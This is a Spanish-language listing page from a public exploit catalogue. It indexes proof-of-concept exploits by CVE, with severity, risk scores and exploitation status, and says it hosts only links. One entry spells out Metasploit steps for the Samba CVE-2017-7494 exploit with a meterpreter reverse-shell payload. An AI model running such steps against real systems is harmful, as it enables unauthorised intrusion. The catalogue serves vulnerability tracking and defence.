Explotación pública

Catálogo de exploits

Todo exploit público que catalogamos, en un solo índice. Busca por CVE, nombre del exploit o tecnología — y mira, al lado, lo que la falla realmente vale: severidad, probabilidad de explotación y si ya está bajo ataque.

88.644exploits catalogados

40.922CVEs con explotación pública

24.696probados en laboratorio

Todos Referência 26.560Exploit-DB 24.489GitHub PoC 18.407VulnCheck XDB 11.064Nuclei 4584Metasploit 3540✓ solo verificadosrecientes populares riesgo

88.056 exploits

GitHub PoC

Gogs has Path Traversal in organization name that results in RCE through Git hooks

CVE-2026-52813CRITICAL02 jul 2026

Gogs: Path Traversal in organization name results in RCE through Git hooks

48RIESGO

abrir ↗

GitHub PoC

CVE-2025-5777 Research writeup

CVE-2025-5777CRITICALbajo ataqueransomware02 jul 2026

NetScaler ADC and NetScaler Gateway - Insufficient input validation leading to memory overread

100RIESGO

abrir ↗

VulnCheck XDB

initial-access

CVE-2025-57819CRITICALbajo ataque02 jul 2026

FreePBX Affected by Authentication Bypass Leading to SQL Injection and RCE

100RIESGO

abrir ↗

GitHub PoC★ 1

kaleth4/CVE-2026-20896

CVE-2026-20896CRITICAL02 jul 2026

Gitea Docker image trusts spoofable reverse-proxy headers by default

63RIESGO

abrir ↗

GitHub PoC

Crawl4AI <= 0.8.6 pre-auth RCE via AST sandbox escape (gi_frame.f_back.f_builtins chain) — CVSS 10.0

CVE-2026-53753CRITICAL02 jul 2026

Crawl4AI: AST Sandbox Escape via gi_frame.f_back Chain - Pre-Auth RCE in Docker API

63RIESGO

abrir ↗

GitHub PoC

CyberDefenders JetBrains Lab

CVE-2024-27198CRITICALbajo ataqueransomware01 jul 2026

In JetBrains TeamCity before 2023.11.4 authentication bypass allowing to perform admin actions was possible

100RIESGO

abrir ↗

VulnCheck XDB

initial-access

CVE-2020-5902CRITICALbajo ataqueransomware01 jul 2026

In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic

100RIESGO

abrir ↗

GitHub PoC

CVE-2025-71384

CVE-2025-71384MEDIUM01 jul 2026

Dbit WIFI4 N300 1.0.0 devices allows administrators (from the local Wi-Fi network) to execute OS commands by leveraging

33RIESGO

abrir ↗

GitHub PoC★ 1

pedit COW

CVE-2026-46331HIGH01 jul 2026

net/sched: fix pedit partial COW leading to page cache corruption

41RIESGO

abrir ↗

GitHub PoC

emilliewatson96/spryCVE-2026-10520

CVE-2026-10520CRITICALbajo ataque01 jul 2026

An OS Command Injection vulnerability in Ivanti Sentry before the R10.5.2, R10.6.2 and R10.7.1 versions allows a remote

100RIESGO

abrir ↗

GitHub PoC

Blue-team lab: detecting & mitigating CVE-2025-24054 (Windows NTLM hash disclosure) with Sysmon, Wazuh SIEM, and Group Policy

CVE-2025-24054MEDIUMbajo ataque01 jul 2026

NTLM Hash Disclosure Spoofing Vulnerability

75RIESGO

abrir ↗

VulnCheck XDB

initial-access

CVE-2026-10520CRITICALbajo ataque01 jul 2026

An OS Command Injection vulnerability in Ivanti Sentry before the R10.5.2, R10.6.2 and R10.7.1 versions allows a remote

100RIESGO

abrir ↗

VulnCheck XDB

denial-of-service

CVE-2026-42945CRITICAL01 jul 2026

NGINX ngx_http_rewrite_module vulnerability

60RIESGO

abrir ↗

VulnCheck XDB

client-side

CVE-2026-56011HIGH01 jul 2026

WordPress MapPress Maps for WordPress plugin <= 2.97.3 - Cross Site Scripting (XSS) vulnerability

41RIESGO

abrir ↗

GitHub PoC

motionEye's Absolute Path Traversal in Media File Handlers Allows Arbitrary File Read

CVE-2026-55488HIGH01 jul 2026

motionEye's Absolute Path Traversal in Media File Handlers Allows Arbitrary File Read

21RIESGO

abrir ↗

GitHub PoC★ 8

CVE-2026-6307 PoC: Longinus - 2 Boundaries in One Bug https://nebusec.ai/research/v8-cve-2026-6307-writeup/)

CVE-2026-6307HIGH01 jul 2026

Type Confusion in Turbofan in Google Chrome prior to 147.0.7727.101 allowed a remote attacker to execute arbitrary code

41RIESGO

abrir ↗

GitHub PoC★ 48

Google Chrome CVE-2026-6307 PoC

CVE-2026-6307HIGH01 jul 2026

Type Confusion in Turbofan in Google Chrome prior to 147.0.7727.101 allowed a remote attacker to execute arbitrary code

41RIESGO

abrir ↗

GitHub PoC★ 1

OpenSTAManager RCE Exploit (CVE-2026-38751)

CVE-2026-38751HIGH01 jul 2026

OpenSTAManager version 2.10 and earlier contains an arbitrary file upload vulnerability in the module update functionali

41RIESGO

abrir ↗

GitHub PoC

do4choo/CVE-2026-53694-NoMachine-LPE

CVE-2026-53694HIGH01 jul 2026

Potential local privileges escalation through argument injection in the nxchmod.sh script

41RIESGO

abrir ↗

GitHub PoC

Pivotal CRM's patch for an initial deserialization vulnerability was incomplete. The fix switched from BinaryFormatter to JSON.NET but left TypeNameHandling set to 4 without implementing SerializationBinder, allowing attackers to execute arbitrary code through malicious $type payloads. Fixed in 6.6.5.10 and Patch_CWE502_20260316.zip

CVE-2026-51947CRITICAL01 jul 2026

An issue in Pivotal CRM 6.6.4.08 and systems using patch-ghi-15381-cwe-502-20251225.zip (fixed in Pivotal CRM 6.6.5.10 a

48RIESGO

abrir ↗

GitHub PoC★ 1

🛡️ CVE Proof-of-Concept Hub — 21 security advisories · 80+ vulnerabilities · 19 CVEs under review · 1 PUBLISHED (CVE-2026-66412)

CVE-2026-66412HIGH01 jul 2026

Leantime all versions prior to and 3.6.2 Broken Access Control via tickets.getMilestone JSON-RPC

21RIESGO

abrir ↗

GitHub PoC

O F5 BIG-IP é uma plataforma de entrega e segurança de aplicações amplamente utilizada em ambientes corporativos. A CVE-2020-5902 é uma vulnerabilidade crítica no TMUI que, em versões não corrigidas, pode permitir acesso não autorizado e execução remota de código, reforçando a necessidade de atualização e gestão contínua de vulnerabilidades.

CVE-2020-5902CRITICALbajo ataqueransomware01 jul 2026

In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic

100RIESGO

abrir ↗

GitHub PoC★ 1

A flaw was found in NGINX, specifically within the ngx_http_rewrite_module. An unauthenticated attacker can exploit this vulnerability by sending crafted HTTP requests under specific rewrite configurations. This can lead to a heap buffer overflow in the NGINX worker process, which may result in arbitrary code execution

CVE-2026-42945CRITICAL01 jul 2026

NGINX ngx_http_rewrite_module vulnerability

60RIESGO

abrir ↗

GitHub PoC

CVE-2026-48907 PoC

CVE-2026-48907CRITICALbajo ataque01 jul 2026

Joomla Extension - joomlacontenteditor.net - Remote Code Execution in JCE extension for Joomla < 2.9.99.5

100RIESGO

abrir ↗

GitHub PoC★ 1

Safari 跨域信息读取

CVE-2026-43735HIGH01 jul 2026

The issue was addressed with improved checks. This issue is fixed in Safari 26.5.2, iOS 18.7.10 and iPadOS 18.7.10, iOS

41RIESGO

abrir ↗

VulnCheck XDB

initial-access

CVE-2025-57819CRITICALbajo ataque01 jul 2026

FreePBX Affected by Authentication Bypass Leading to SQL Injection and RCE

100RIESGO

abrir ↗

GitHub PoC

rootdirective-sec/CVE-2026-56011-Lab

CVE-2026-56011HIGH01 jul 2026

WordPress MapPress Maps for WordPress plugin <= 2.97.3 - Cross Site Scripting (XSS) vulnerability

41RIESGO

abrir ↗

GitHub PoC

Its1Zero/cve-2025-57819-exploit

CVE-2025-57819CRITICALbajo ataque01 jul 2026

FreePBX Affected by Authentication Bypass Leading to SQL Injection and RCE

100RIESGO

abrir ↗

GitHub PoC

Ovaj sto se skida isto ovaj s metasplotiom kucas msf console pa onda search CVE-2017-7494 pa use exploit/linux/samba/is_known_pipeline pa show options pa set RHOSTS (ip servera) set RPORt 445 (port za tu ranjivist) SET payload linux/x86/meterpreter/reverse_tcp SET LHOST ip kalija SET LORT 4444 pa exploit i ako je ranjiv dobijemo sesiju

CVE-2017-7494CRITICALbajo ataqueransomware30 jun 2026

Samba since version 3.5.0 and before 4.6.4, 4.5.10 and 4.4.14 is vulnerable to remote code execution vulnerability, allo

100RIESGO

abrir ↗

GitHub PoC★ 16

Linux kernel FUSE readdir cache out-of-bounds write (CVE-2026-31694): a malicious FUSE server overflows a page-cache page by 24 bytes. PoC plus an unprivileged local-root exploit via /etc/passwd page-cache corruption. Run only inside a VM.

CVE-2026-31694HIGH30 jun 2026

fuse: reject oversized dirents in page cache

41RIESGO

abrir ↗

Indexamos solo el enlace público a la prueba de concepto — nunca alojamos ni redistribuimos código de explotación. Fuentes: PoC-in-GitHub, Exploit-DB, Nuclei, Metasploit y VulnCheck XDB. La existencia de PoC pública no significa que la falla sea explotable en tu entorno.